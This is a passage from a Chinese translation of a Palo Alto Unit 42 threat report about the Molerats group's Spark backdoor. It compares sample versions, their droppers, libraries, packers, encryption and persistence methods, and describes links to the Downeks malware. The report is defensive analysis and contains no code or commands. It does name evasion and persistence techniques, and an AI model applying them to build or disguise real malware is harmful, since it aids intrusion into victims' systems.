下表中比较了Spark Payload之间的功能区别。遗憾的是，我们无法获得2019年10月攻击中传递的Payload。如果我们将2019年1月和2020年的投递文件中安装的Spark样本与2019年11月Pictures.pdf投递文件中安装的Spark样本进行比较，我们会看到明显的差异，可以说明该恶意组织正在不断开发这个后门程序。
2019年1月Spark样本：
Dropper：无
HTTP库：SFML
配置结构：msgpack version 1
Payload加壳：Enigma Virtual Box
加密方式：AES加密密文
加密数据：配置、C2通信的名称、收集系统信息的命令
持久性：任务计划
2019年11月Spark样本（Pictures.pdf）：
Dropper：编译的AutoIt脚本
HTTP库：cURL 7.56.0-DEV
配置结构：JSON for Modern C++ v2.1.1
Payload加壳：Enigma (5.X)
加密方式：滚动XOR加密密钥+3DES加密密文
加密数据：配置、C2通信的名称、收集系统信息的命令
持久性：@StartupDir中的LNK快捷方式
2019年10-11月Spark样本（attachment.doc）和2020年1月恶意活动中使用的样本：
Dropper：编译的AutoIt脚本
HTTP库：elnormous' HTTPRequest
配置结构：JSON for Modern C++ v3.7.0
Payload加壳：Enigma (5.X)
加密方式：滚动XOR加密密钥+自定义AES解密16字节的密文块
加密数据：配置、C2通信的名称、收集系统信息的命令
持久性：任务计划、@StartupDir中复制的可执行文件
十一、Spark与Downeks的关联
在卡巴斯基的报告中提到，Molerats子集团（Gaza Cybergang）开展了Operation Parliament恶意活动，并在该恶意活动中使用了Spark Payload，而我们观察到该恶意组织在DustySky恶意活动中还传递了Downeks。从开发和安装的角度来看，我们注意到Spark和Downeks之间存在一些相似之处。
例如，我们发现相同binder的木马，这是一种用于打开诱饵文档并安装Payload的恶意应用程序，其中一个安装了Downeks Payload，另外两个安装了Spark。
从开发的角度来看，Downeks和Spark Payload都使用了GitHub上几个开源库和代码来进行C2通信，并使用JSON构造数据。首先，Spark使用cURL库进行C2通信，其使用的版本是7.56.0-DEV版本，其源代码可以在GitHub上找到。而Downeks使用cURL与C2服务器进行通信，但使用的是早期版本7.39.0。其次，Spark Payload使用JSON解析其配置并构造发送到C2服务器和从C2服务器发送的消息，它使用的JSON Modern C++ Version 2.1.1可以在GitHub上找到。Downeks同样适用JSON解析其配置并构造从C2服务器发送和接收的数据，但它使用的是腾讯的RapidJSON，也能从GitHub上免费获得。上述事实与我们此前观察到的在不同版本Spark中使用了不同JSON库的特征相符。
十二、总结
在2019年10月至12月期间，Molerats恶意组织将目标瞄准了六个国家中的八个不同组织。该恶意组织使用鱼叉式网络钓鱼邮件发送恶意的Word和PDF文档，并尝试对受害者进行社会工程以使其感染病毒，而没有使用漏洞利用的方式。该恶意组织在攻击中使用Spark后门，但在此过程中使用了其他免费可用的库来不断开发该后门工具，以构造重要数据并进行C2通信。
附录请参考原文。
本文翻译自：https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/如若转载，请注明原文地址：
如有侵权请联系:admin#unsafe.sh